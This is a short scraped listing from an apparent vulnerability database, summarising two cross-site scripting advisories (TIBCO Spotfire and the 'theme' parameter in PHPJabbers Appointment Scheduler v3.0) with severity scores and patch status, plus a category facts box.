The Spotfire Library component of TIBCO Software Inc.'s Spotfire Analyst and Spotfire Server contains an easily exploitable vulnerability that allows a low privileged attacker with network access to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Spotfire Analyst Spotfire Server +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Appointment Scheduler v3.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Appointment Scheduler +1
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40907

Related CWEs

MITRE ATT&CK

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